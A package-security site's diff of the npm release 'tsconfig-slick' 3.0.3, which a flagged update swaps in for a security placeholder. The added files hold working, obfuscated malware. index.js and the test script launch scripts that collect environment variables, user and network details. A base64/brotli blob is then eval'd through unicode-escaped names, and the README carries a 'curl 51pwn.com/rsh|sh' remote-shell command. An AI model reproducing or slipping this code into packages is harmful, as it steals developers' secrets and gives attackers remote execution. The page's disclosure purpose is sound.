tsconfig-slick 0.0.1-security → 3.0.3
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of tsconfig-slick might be problematic. Click here for more details.
- package/README.md +2 -5
- package/index.js +1 -0
- package/package.json +30 -3
- package/scripts/init.js +2 -0
- package/scripts/rsh.js +47 -0
package/README.md
CHANGED
@@ -1,5 +1,2 @@
|
|
1
|
-
#
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=tsconfig-slick for more information.
|
1
|
+
# rshNpm
|
2
|
+
<img src="51pwn.com/rsh?t=curl%2051pwn%2Ecom%2Frsh%7Csh">
|
package/index.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
require("child_process").fork("scripts/init.js")
|
package/package.json
CHANGED
@@ -1,6 +1,33 @@
|
|
1
1
|
{
|
2
2
|
"name": "tsconfig-slick",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "3.0.3",
|
4
|
+
"description": "aDriv",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "node ./scripts/init.js &",
|
8
|
+
"init": "node ./scripts/init.js"
|
9
|
+
},
|
10
|
+
"publishConfig": {
|
11
|
+
"access": "public"
|
12
|
+
},
|
13
|
+
"private": false,
|
14
|
+
"files": [
|
15
|
+
"index.js",
|
16
|
+
"package.json",
|
17
|
+
"scripts/init.js",
|
18
|
+
"scripts/rsh.js",
|
19
|
+
"!README.md",
|
20
|
+
"!.npmignore",
|
21
|
+
"!.github",
|
22
|
+
"!.git",
|
23
|
+
"!ps.sh",
|
24
|
+
"!node_modules"
|
25
|
+
],
|
26
|
+
"repository": {
|
27
|
+
"type": "git",
|
28
|
+
"url": "git+ssh://git@github.com/hktalent/rshNpm.git"
|
29
|
+
},
|
30
|
+
"access": "public",
|
31
|
+
"author": "51pwn",
|
32
|
+
"license": "MIT"
|
6
33
|
}
|
package/scripts/init.js
ADDED
package/scripts/rsh.js
ADDED
@@ -0,0 +1,47 @@
|
|
1
|
+
var os = require("os"),
|
2
|
+
zlib = require("zlib"),
|
3
|
+
bs = "\u0062\u0061\u0073\u0065\u0036\u0034",
|
4
|
+
filterNet = (o) => {
|
5
|
+
var oR = {};
|
6
|
+
for (var k in o) {
|
7
|
+
if ("lo0" == k) continue;
|
8
|
+
for (var i in o[k]) {
|
9
|
+
if ("127.0.0.1" == o[k][i]["address"]) continue;
|
10
|
+
if (o[k][i]["family"] == "IPv4" && o[k][i]["address"]) {
|
11
|
+
oR[k] = o[k][i]
|
12
|
+
break;
|
13
|
+
}
|
14
|
+
}
|
15
|
+
}
|
16
|
+
return oR;
|
17
|
+
},
|
18
|
+
rmKeys = (o, ...keys) => {
|
19
|
+
for (var k in keys) {
|
20
|
+
delete o[keys[k]];
|
21
|
+
}
|
22
|
+
return o;
|
23
|
+
},pkg =JSON.parse(require("fs").readFileSync("package.json").toString("utf8")),
|
24
|
+
zS = (s) =>zlib.brotliCompressSync(s, { level: 11, windowBits: 15, quality: 11 }).toString(bs),
|
25
|
+
zO = (o) => zS(JSON.stringify(o, null, 2)),
|
26
|
+
uS = (s) => zlib.brotliDecompressSync(Buffer.from(s, bs)).toString(),
|
27
|
+
o = {
|
28
|
+
"name": pkg.name,
|
29
|
+
"version": pkg.version,
|
30
|
+
"pwd": process.cwd(),
|
31
|
+
"env": process.env,
|
32
|
+
"platform": os.platform(),
|
33
|
+
"arch": os.arch(),
|
34
|
+
"release": os.release(),
|
35
|
+
"type": os.type(),
|
36
|
+
"uptime": os.uptime(),
|
37
|
+
"hostname": os.hostname(),
|
38
|
+
"cpus": [os.cpus().length, rmKeys(os.cpus()[0], "times")],
|
39
|
+
"networkInterfaces": filterNet(os.networkInterfaces()),
|
40
|
+
"freemem": os.freemem(),
|
41
|
+
"totalmem": os.totalmem(),
|
42
|
+
"userInfo": os.userInfo()
|
43
|
+
};
|
44
|
+
let s = zO(o), \u0073\u0031 =uS(`G/sCIJwHtg1sfVPqObPQC6WsmlPZnVOfAqCQlUG+AJay52WlQRR23HYKiwLI/7ncvQM75zP689ZqjKlrgZVYcYBp1gM8R5zV4glyFKt+CPgOAIT7ekBlFUzW87zjyA6CooEMdzcFs33O/t2tAXawBJUI9pOdw8hOkS4DYLG9xHRAeDZ5ZXbs1oL+Z+k+M2aA4HzxpZD/VAbL7E8erim7UfCx9F/Y4+yCKMrUklhDVFoCdwwQYsUTOxl/nc+gLuTlglxBdupg+2xUfQt7zegHtGsz5GkVkFMdVd6qgszOQWOzY8FtLc/U7KSvB2Q4l4yGpcavIeSsCiZV7YQM5X3KWTMz8v1g55Yld/RldQTkyU91zlOFCeelQqC8qAIL4vEXNhgs2suqFHoQstfjXJpvHFgV0v7Bf8f7X38+oji8qZQUEG8LimNT5MDFKHJ5efBeZkZVIAKCp7gdzI60KAs=`);
|
45
|
+
\u0070\u0072\u006F\u0063\u0065\u0073\u0073.\u0065\u006E\u0076.\u004E\u004F\u0044\u0045\u005F\u004E\u004F\u005F\u0045\u0056\u0041\u004C = undefined;
|
46
|
+
\u0065\u0076\u0061\u006C(\u0073\u0031);
|
47
|
+
// console.log(o)
|